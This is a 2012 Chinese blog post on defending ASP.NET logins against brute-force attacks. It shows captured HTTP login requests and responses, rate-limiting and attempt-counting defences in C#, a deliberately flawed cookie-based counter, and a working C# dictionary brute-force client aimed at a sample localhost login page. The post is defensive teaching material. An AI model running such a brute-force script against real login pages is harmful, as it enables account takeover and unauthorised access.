Asp.net安全架构之4:Brute force(爆破)

原理

爆破是对系统的登录入口发起不间断的请求,达到暴力破解的目的。

实际案例

某系统存在爆破攻击点,只要模拟以下攻击,就能采用字典破解法,根据分析发现,只要返回状态为302的,为用户名密码正确,也就是被爆破了,状态为200的,为用户名密码错误。

在攻击的过程中,我们只要准备好字典,就能顺利实现爆破。像用户名为luminji,密码为123456这样的用户很容易就会被爆破掉。

请求:

POST /sso/ValidateUser.aspx HTTP/1.1

User-Agent: Fiddler

Accept-Language: zh-CN

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Host: 192.168.40.193

Content-Length: 37

 

loginId=luminji&password=123456 

以下是成功爆破的返回:

HTTP/1.1 302 Found

Cache-Control: private

Content-Length: 151

Content-Type: text/html; charset=utf-8

Location: http://192.168.40.193/portal/pages

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=spycdd55b1cph0iohogufq55; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Mon, 07 May 2012 01:25:50 GMT

 

<html><head><title>Object moved</title></head><body>

<h2>Object moved to <a href="http://192.168.40.193/portal/pages">here</a>.</h2>

</body></html>

以下是失败的返回:

HTTP/1.1 200 OK

Cache-Control: private

Transfer-Encoding: chunked

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=zxomk255e3115245tpqi3k45; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Mon, 07 May 2012 01:26:01 GMT

 

8a0

_�_

应对措施

一种思路是:定位客户端,限制客户端的请求频率。一般来说,通过两个途径可确定某个客户端,IP地址和Cookie。但是,这种方式一般来说也是被攻破的,比如使用AccessDriver这样的工具就可以更换IP地址,同时,再清空cookie就可以做到。

其次,使用验证码。这是一种非常有效的措施,但是一定程度上降低了用户体验。

Mads Kristensen提到了另一种方法是限制每个用户的登录次数,代码如下:

        protected void ButtonLogin_Click(object sender, EventArgs e)
        {
            string loginName = "luminji";
            if (AddAndGetLoginCount(loginName) > 5)
            {
                //block
            }
            else
            {
                if (CheckLogin(loginName) == true)
                {
                    ClearLoginCount(loginName);
                }
            }
        }

        //只适用于单机,如果是集群,需要分布式缓存
        int AddAndGetLoginCount(string userNanme)
        {
            if (Cache[userNanme] == null)
            {
                Cache.Insert("luminji", 1, null,
                    System.Web.Caching.Cache.NoAbsoluteExpiration, TimeSpan.FromSeconds(10));
                return 1;
            }
            else
            {
                int count = (int)Cache[userNanme] + 1;
                Cache[userNanme] = count;
                return count;
            }
        }

        void ClearLoginCount(string userName)
        {
            if (Cache[userName] != null)
            {
                Cache.Remove(userName);
            }
        }

        private bool CheckLogin(string loginName)
        {
            throw new NotImplementedException();
        }

 

这里还有一种方法,它看上去是正确的,但是有人一眼就看出来在其貌似能正确防范爆破下的本质错误,不知道你是否能察觉。这段代码的大致思路是:

将访问次数保存在cookie中,然后根据cookie保存的值来限制访问次序。保存在cookie中的值(该值所表达的意义是:谁在某个时间段内访问了几次),需要进行加密处理,只有这样,才能保证不让客户端进行模拟。全部代码实现,请参看代码:

        protected void ButtonLogin_Click(object sender, EventArgs e)
        {
            HttpCookie cookieGet = Request.Cookies.Get("btcookie");
            if (cookieGet == null)
            {
                SendBFCookieToClientAndRedirect();
            }
            else
            {
                ReceiveBFCookieAndCheckLogin(cookieGet);
            }
        }

        private void ReceiveBFCookieAndCheckLogin(HttpCookie cookieGet)
        {
            string loginName = "luminji";
            BruteForce bf = PreAnalyCookieGet(cookieGet);

            if (DateTime.Parse(bf.ExpireTime) > DateTime.Now)
            {
                if (int.Parse(bf.LoginCount) > 5)
                {
                    Block();
                }
                else
                {
                    GoAndCheckAndUpdateCount(cookieGet, loginName, bf);
                }
            }
            else
            {
                GoAndCheckAndUpdateExpiretime(cookieGet, loginName);
            }
        }

        private BruteForce PreAnalyCookieGet(HttpCookie cookieGet)
        {
            Response.Write(string.Format("get{0}<br/>", Session.SessionID));
            Response.Write(string.Format("get Cookie:{0}<br/>", cookieGet.Value));
            Response.Write(string.Format("Now:{0}", DateTime.Now));
            var bfarr = cookieGet.Value.Split('|');
            return new BruteForce(bfarr[0], bfarr[1], bfarr[2]);
        }

        private void GoAndCheckAndUpdateCount(HttpCookie cookieGet, string loginName, BruteForce bf)
        {
            CheckLogin(loginName);
            cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}",
                int.Parse(bf.LoginCount) + 1,
                Session.SessionID,
                bf.ExpireTime));
            Response.Cookies.Add(cookieGet);
        }

        private void Block()
        {
            Response.Write("block");
        }

        private void GoAndCheckAndUpdateExpiretime(HttpCookie cookieGet, string loginName)
        {
            CheckLogin(loginName);
            cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}",
                1,
                Session.SessionID,
                DateTime.Now.AddSeconds(10)));
            Response.Cookies.Add(cookieGet);
        }

        private void SendBFCookieToClientAndRedirect()
        {
            Response.Write(string.Format("set{0}<br/>", Session.SessionID));
            string str = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}",
                1,
                Session.SessionID,
                DateTime.Now.AddSeconds(10)));
            Session["btcookiesession"] = str;
            HttpCookie cookieSet = new HttpCookie("btcookie", str);
            cookieSet.HttpOnly = true;
            Response.Cookies.Add(cookieSet);
            //Redirect To real login page
        }

        private string EncryptBruteForceCookie(string cookie)
        {
            //encrypt cookie
            return cookie;
        }

        private string DecrpytBruteForceCooke(string cookie)
        {
            //encrypt cookie
            return cookie;
        }

        class BruteForce
        {
            public BruteForce(string loginCount, string sessionID, string expireTime)
            {
                LoginCount = loginCount;
                SessionID = sessionID;
                ExpireTime = expireTime;
            }
            public string LoginCount;
            public string SessionID;
            public string ExpireTime;
        }

 

爆破的实施

假设要爆破的登录处的逻辑如下:

        protected void btnLogin_Click(object sender, EventArgs e)
        {
            if (this.txtUserName.Text == "xjm" && 
                this.txtUserPassword.Text == "123")
            {
                //this.Session["UserName"] = this.txtUserName.Text;
                Response.Redirect("Home.aspx");
            }
            else
            {
                Response.Write("login denied!");
            }
        }

 

PS:一般来说,爆破就是模拟发送请求,C#代码如下:

        string httpBase = @"http://localhost:50097";
        List<string> keyDict = new List<string>()
            {
                "1",
                "12",
                "123",
                "a",
                "ab"
            };

        private void button2_Click(object sender, EventArgs e)
        {
            bool isOk = false;
            foreach (string key in keyDict)
            {
                var request = InitRequest();
                SetRequestContent(request, key);
                if (isOk = GetResponseAndLoginSuccess(request))
                {
                    break;
                }
            }

            if (isOk)
            {
                MessageBox.Show("login success.");
            }
            else
            {
                MessageBox.Show("failed!");
            }
        }

        private void SetRequestContent(WebRequest request, string key)
        {
            //todo  1:should get login.aspx first, and get the viewstat
            //      2:then we can build this content
            string content = string.Format("__VIEWSTATE=%2FwEPDwULLTE1MzQ2NDY3MzVkZApspc7%2FtLNG1qzHEYJFvpuzy5P8&__EVENTVALIDATION=%2FwEWBAK7qPiwDQKl1bKzCQK9wKW7DAKC3IeGDBjXR%2FPy4G7lFRtaemefnygkRltT&txtUserName=xjm&txtUserPassword={0}&btnLogin=Button",
                key);
            request.ContentLength = content.Length;
            byte[] bytes = Encoding.UTF8.GetBytes(content);
            using (Stream requestStream = request.GetRequestStream())
            {
                requestStream.Write(bytes, 0, bytes.Length);
                requestStream.Flush();
            }
        }

        private bool GetResponseAndLoginSuccess(WebRequest request)
        {
            var response = request.GetResponse();
            using (Stream stream = response.GetResponseStream())
            using (StreamReader reader = new StreamReader(stream))
            {
                if (response.ResponseUri.ToString().IndexOf(httpBase+ @"/Home.aspx") > -1)
                {
                    var context = reader.ReadToEnd();
                    context += "<br/>hacked by luminji!";
                    webBrowser1.DocumentText = context;
                    return true;
                }
            }
            return false;
        }

        private WebRequest InitRequest()
        {
            string url = httpBase + @"/login.aspx";
            var request = HttpWebRequest.Create(url);
            request.ContentType = "application/x-www-form-urlencoded";
            request.Method = "POST";
            return request;
        }

 

 

posted @ 2012-06-13 08:19  陆敏技  阅读(4445)  评论(10编辑  收藏  举报
Web Counter
Coupon for Contacts